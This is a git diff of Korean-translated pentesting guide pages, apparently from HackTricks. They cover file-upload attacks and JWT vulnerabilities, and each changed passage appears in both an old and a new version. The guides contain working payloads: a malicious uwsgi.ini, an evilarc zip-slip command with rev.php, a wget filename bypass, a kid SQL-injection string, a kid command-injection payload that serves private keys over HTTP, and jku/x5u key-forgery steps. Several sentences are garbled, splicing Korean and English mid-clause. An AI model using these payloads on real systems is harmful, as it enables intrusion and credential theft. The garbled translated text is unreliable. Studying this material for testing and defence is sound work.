* PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
|
||||
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### 확인할 기타 트릭
|
||||
### 확인할 다른 트릭
|
||||
|
||||
* 이미 업로드된 파일의 **이름을 바꿀 수 있는** 취약점을 찾습니다 (확장자를 변경하기 위해).
|
||||
* 이미 업로드된 파일의 **이름을 바꾸는** 취약점을 찾습니다 (확장자를 변경하기 위해).
|
||||
* 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾습니다.
|
||||
* **정보 유출 가능성**:
|
||||
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
|
||||
1. **동일한 이름**의 **동일한 파일**을 **여러 번** (그리고 **동시에**) 업로드합니다.
|
||||
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
|
||||
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”**
|
||||
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”`
|
||||
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
|
||||
* 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
|
||||
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. 예를 들어 **“…:.jpg”** (Windows).
|
||||
5. **Windows**에서 이름에 **잘못된 문자** `|<>*?”`를 가진 파일을 업로드합니다. (Windows)
|
||||
6. **Windows**에서 **예약된** (**금지된**) **이름**인 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9로 파일을 업로드합니다.
|
||||
* 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 시도합니다.
|
||||
|
||||
### 특수 확장자 트릭
|
||||
|
||||
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
**PHP 서버**에 파일을 업로드하려고 하는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
**ASP 서버**에 파일을 업로드하려고 하는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용될 수 있습니다** (PHP로 실행하거나 스크립트 내에 포함).
|
||||
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
|
||||
|
||||
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
|
||||
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가가 **이 확장자가 실행되도록 허용했을 수 있습니다**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
|
@ -125,7 +125,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml
|
|||
|
||||
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
|
||||
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
|
||||
|
||||
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
|
||||
```ini
|
||||
|
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
|
|||
```
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
uWSGI의 구성 파일 구문 분석의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
|
||||
uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget 파일 업로드/SSRF 트릭**
|
||||
|
||||
어떤 경우에는 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있음을 알게 될 수 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
|
||||
**linux**에서 **파일 이름**의 **최대** 길이는 **255**이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
|
||||
일부 경우에 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
|
||||
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션** 하도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 할 수 있습니다. This **작동하지 않을 것입니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드할 것입니다**.
|
||||
Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션**되도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 됩니다. This **작동하지 않습니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드합니다**.
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -193,11 +193,11 @@ Note that **다른 옵션** you may be thinking of to bypass this check is to ma
|
|||
* [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Try **다양한 svg 페이로드** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* If you can **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠 수 있습니다**.
|
||||
* [**XXE and CORS** 우회 with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 특별히 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
* Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **안티바이러스**
|
||||
* Check if there is any **크기 제한** uploading files
|
||||
* If you can **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면** [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
|
||||
* [**XXE 및 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 특별히 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
|
||||
* Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **안티바이러스**.
|
||||
* Check if there is any **크기 제한** uploading files.
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
|
@ -246,7 +246,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
|
||||
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
|
||||
```python
|
||||
|
@ -316,7 +316,7 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
|
|||
|
||||
다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
|
||||
|
||||
그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
|
||||
그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 동시에 PHAR 파일(PHp ARchive)과 JPEG을 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
|
||||
|
||||
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,22 +329,22 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# JWT 취약점 (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
If you are interested in **해킹 경력** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**이 게시물의 일부는 훌륭한 게시물을 기반으로 합니다:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWT를 펜테스트하기 위한 훌륭한 도구의 저자** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **빠른 승리**
|
||||
### **Quick Wins**
|
||||
|
||||
모드 `All Tests!`로 [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 실행하고 초록색 줄을 기다리세요.
|
||||
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -78,7 +78,7 @@ Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하
|
|||
### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경 (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
알고리즘 HS256은 비밀 키를 사용하여 각 메시지에 서명하고 검증합니다.\
|
||||
알고리즘 RS256은 개인 키를 사용하여 메시지에 서명하고 공개 키를 인증에 사용합니다.
|
||||
알고리즘 RS256은 개인 키를 사용하여 메시지에 서명하고 인증을 위해 공개 키를 사용합니다.
|
||||
|
||||
알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 검증합니다.
|
||||
|
||||
|
@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Kid Issues Overview
|
||||
|
||||
선택적 헤더 클레임인 `kid`는 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
`kid`라는 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰의 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
|
||||
#### Revealing Key through "kid"
|
||||
|
||||
|
@ -121,32 +121,32 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### Path Traversal with "kid"
|
||||
|
||||
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 jwt\_tool에서 `-T` 플래그를 사용하여 수행할 수 있습니다.
|
||||
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 `jwt_tool`에서 `-T` 플래그를 사용하여 수행할 수 있습니다.
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||||
예측 가능한 내용을 가진 파일을 타겟으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, JWT 생성을 위한 대칭 비밀번호로 **2**를 사용하여 `kid` 매개변수에 활용될 수 있습니다.
|
||||
|
||||
#### SQL Injection via "kid"
|
||||
#### "kid"를 통한 SQL 인젝션
|
||||
|
||||
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
|
||||
`kid` 클레임의 내용을 사용하여 데이터베이스에서 비밀번호를 가져오는 경우, `kid` 페이로드를 수정하여 SQL 인젝션을 유도할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL 인젝션을 사용하는 예시 페이로드는 다음과 같습니다:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
|
||||
이 변경은 JWT 서명을 위해 알려진 비밀 키인 `ATTACKER`를 사용하도록 강제합니다.
|
||||
|
||||
#### OS Injection through "kid"
|
||||
#### "kid"를 통한 OS 인젝션
|
||||
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
`kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 경우, 원격 코드 실행(RCE) 취약점이 발생할 수 있습니다. `kid` 매개변수에 명령을 주입함으로써 개인 키를 노출할 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u and jku
|
||||
### x5u 및 jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku는 **JWK Set URL**을 의미합니다.\
|
||||
토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이는 토큰을 검증하기 위한 공개 키가 포함된 JWKS 파일을 가리키는 URL이어야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 가리키도록 하십시오.
|
||||
토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이 URL은 토큰을 검증하기 위한 공개 키를 포함하는 JWKS 파일을 가리켜야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 포인팅하십시오.
|
||||
|
||||
먼저 새로운 개인 및 공개 키로 새로운 인증서를 생성해야 합니다.
|
||||
```bash
|
||||
|
@ -180,7 +180,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
이 두 가지 취약점을 **SSRF에 대해 악용할 수도 있습니다.**
|
||||
이 두 가지 취약점을 **SSRF를 위해** 악용할 수도 있습니다.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -195,7 +195,7 @@ openssl x509 -in attacker.crt -text
|
|||
```
|
||||
### Embedded Public Key (CVE-2018-0114)
|
||||
|
||||
JWT에 다음 시나리오와 같이 임베디드된 공개 키가 있는 경우:
|
||||
JWT에 다음과 같은 시나리오처럼 내장된 공개 키가 있는 경우:
|
||||
|
||||
![](<../.gitbook/assets/image (624).png>)
|
||||
|
||||
|
@ -225,18 +225,18 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
||||
마지막으로, 공개 키와 개인 키 및 새로운 "n"과 "e" 값을 사용하여 [jwt.io](https://jwt.io)에서 임의의 정보를 가진 새로운 유효한 JWT를 위조할 수 있습니다.
|
||||
|
||||
